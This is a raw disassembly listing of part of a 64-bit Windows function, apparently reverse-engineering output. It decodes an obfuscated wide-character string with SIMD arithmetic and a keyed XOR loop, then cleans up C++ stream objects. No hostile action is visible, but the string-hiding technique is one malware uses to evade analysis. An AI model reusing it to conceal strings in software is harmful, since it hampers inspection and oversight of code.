mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.1402545f0
mov r11, rax
movups xmm11, xmmword [0x140281a78]
movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x140281a88]
movq qword [rbp - 0x30], xmm12
movzx eax, word [0x140281a90]
mov word [rbp - 0x28], ax
mov r9d, r15d
cmp ebx, 2
jl 0x14020d0b0
movdqa xmm6, xmmword [0x1402843c0]
movdqa xmm7, xmmword [0x1402843a0]
movdqa xmm9, xmmword [str.ffffiiii]
movdqa xmm8, xmmword [0x1402843d0]
movdqa xmm10, xmmword [str.FFFFFFFF]
movdqa xmm5, xmmword [0x140284260]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x140284280]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x1402842a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, 0x23
add cx, r9w
add cx, cx
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x14020d0c0
lea rdx, [rbp - 0x40]
mov rcx, r11
call fcn.14024d960
lea rcx, [rbp + 0x138]
call fcn.14024bb90
test rax, rax
jne 0x14020d158
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x20]
call fcn.14024c160
movups xmm0, xmmword [rbp]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x140284240]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r15w
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.140248f20
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.14024c160
nop
lea rcx, [rbp + 0x20]
call fcn.14024c160
nop
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0x40], rax
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0x3c], r8d
jmp 0x14020d2e6
xor ebx, ebx
mov word [rsp + 0x30], bx
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rbx
lea rax, [rsp + 0x30]
nop dword [rax]
inc rsi
cmp word [rax + rsi*2], bx
jne 0x14020d240
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, r13
call fcn.14024f710
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.140248f20
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.14024c160
nop
lea rcx, [rbp + 0x20]
call fcn.14024c160
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.1402495c0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x17e0]
xor rcx, rsp
call fcn.140271640
lea r11, [rsp + 0x1960]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret